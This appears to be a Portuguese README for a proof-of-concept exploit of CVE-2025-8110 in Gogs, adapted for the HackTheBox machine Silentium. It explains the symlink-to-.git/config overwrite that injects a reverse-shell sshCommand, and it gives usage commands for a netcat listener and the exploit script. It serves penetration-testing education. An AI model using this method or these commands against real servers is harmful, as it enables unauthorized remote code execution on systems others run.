
Exploit do serviço Gogs e obtenha o usuário root
Aviso legal: Esta ferramenta destina-se estritamente a fins educacionais e a testes de penetração autorizados. Use-a apenas contra sistemas para os quais você tenha permissão explícita de teste.
Esta é uma versão modificada de zAbuQasem/gogs-CVE-2025-8110, adaptada para funcionar contra a máquina Silentium no HackTheBox. O PoC original exigiu ajustes para lidar com a configuração específica do Gogs e o fluxo de autenticação da Silentium.
CVE-2025-8110 é uma vulnerabilidade de Execução Remota de Código no Gogs, um serviço Git auto-hospedado.
O endpoint da API de atualização de arquivos do Gogs (PUT /api/v1/repos/.../contents/<file>) não valida se o arquivo alvo é um symlink. Um atacante autenticado pode enviar um symlink para um repositório que aponte para .git/config e, em seguida, usar a API para sobrescrevê-lo com uma carga maliciosa. A carga injeta um sshCommand personalizado no git config, que o Gogs executa no servidor na próxima vez que realizar uma operação SSH nesse repositório, resultando em execução remota de código.
malicious_link -> .git/config) e faz push..git/config malicioso que contém sshCommand = <reverse shell>..git/config, acionando o shell na próxima operação SSH.Instalar dependências:
pip install -r requirements.txt
Iniciar um listener:
nc -lvnp <PORT>
Executar o exploit:
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD>
Opcional — rotear pelo Burp Suite:
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD> -x
| Flag | Descrição |
|---|---|
-u | URL base do Gogs |
-lh | Seu IP de atacante (host do shell reverso) |
-lp | Sua porta do listener |
-un | Seu nome de usuário registrado no Gogs |
-pw | Sua senha do Gogs |
-x | (Opcional) Roteie o tráfego pelo Burp em localhost:8080 |